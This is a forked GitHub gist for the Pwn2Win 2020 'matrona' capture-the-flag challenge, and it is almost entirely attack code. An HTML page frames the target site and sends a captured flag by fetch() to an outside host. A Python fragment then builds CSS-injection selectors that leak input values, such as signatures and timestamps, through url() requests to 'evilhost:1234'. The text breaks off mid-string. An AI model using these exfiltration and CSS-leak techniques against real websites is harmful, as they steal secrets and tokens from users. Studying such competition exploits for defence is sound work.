Skip to content

Instantly share code, notes, and snippets.

View makelariss's full-sized avatar
🏴

makelaris makelariss

🏴
View GitHub Profile
@makelariss
makelariss / q.html
Created May 31, 2020 18:31 — forked from icchy/q.html
Pwn2Win 2020 matrona v2
<iframe id="ifr0" src="https://matrona.club/?calc=A.B=B" width=1000 height=500 sandbox="allow-scripts allow-top-navigation allow-same-origin allow-forms"></iframe>
<iframe id="ifr1" src="https://matrona.club/?calc=A.B=B" width=1000 height=500 sandbox="allow-scripts allow-top-navigation allow-same-origin allow-forms"></iframe>
<script>
window.addEventListener('hashchange', (evt) => {
const flag = evt.newURL.match(/CTF-BR\{.*\}/)[0]
fetch(`//tool.tonkatsu.info/?flag=${encodeURIComponent(flag)}`)
})
</script>
import time
import requests
host = 'evilhost:1234'
start_template = 'input.sgn[value^="%02x"]{content:url(http://'+host+'/s/%02x);}'
triple_template = 'input.sgn[value*="%03x"]~button{--p%s:url(http://'+host+'/q/%03x);}'
timestamp_template = 'input.timestamp[value="%s"]{background:url(http://'+host+'/t/%s);}'
frames = '''button{animation:l1 35s;}